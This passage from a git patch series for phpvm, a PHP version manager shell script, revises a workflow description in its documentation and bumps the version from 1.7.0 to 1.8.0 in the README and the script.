+Release-specific workflow including:
 
-- Input validation and injection prevention
-- Path traversal protection
-- Privilege escalation prevention
-- Buffer overflow protection
-- File permission security
-- Environment variable security
-- Symlink attack prevention
-
-#### 3. **Release Validation** (`.github/workflows/release.yml`)
-
-Release testing and validation for new versions.
+- Release readiness verification
+- Version consistency validation
+- Documentation checks
+- Release artifact generation and packaging
 
 ### Testing Coverage
 

From 7c5096fb304f160ba95f2f7433c043b02b911064 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 02:13:09 +0530
Subject: [PATCH 20/20] chore: bump version to 1.8.0

---
 README.MD | 2 +-
 phpvm.sh  | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.MD b/README.MD
index f4e988a..c1ffc0c 100644
--- a/README.MD
+++ b/README.MD
@@ -14,7 +14,7 @@
 
 ```sh
 $ phpvm version
-phpvm version 1.7.0
+phpvm version 1.8.0
 
 PHP Version Manager for macOS and Linux
 Author: Jerome Thayananthajothy <tjthavarshan@gmail.com>
diff --git a/phpvm.sh b/phpvm.sh
index 37c0f1d..9579357 100755
--- a/phpvm.sh
+++ b/phpvm.sh
@@ -2,11 +2,11 @@
 
 # phpvm - A PHP Version Manager for macOS and Linux
 # Author: Jerome Thayananthajothy (tjthavarshan@gmail.com)
-# Version: 1.7.0
+# Version: 1.8.0
 
 # shellcheck disable=SC2155  # Allow declare and assign on same line for better readability
 
-PHPVM_VERSION="1.7.0"
+PHPVM_VERSION="1.8.0"
 
 # Test mode flag
 PHPVM_TEST_MODE="${PHPVM_TEST_MODE:-false}"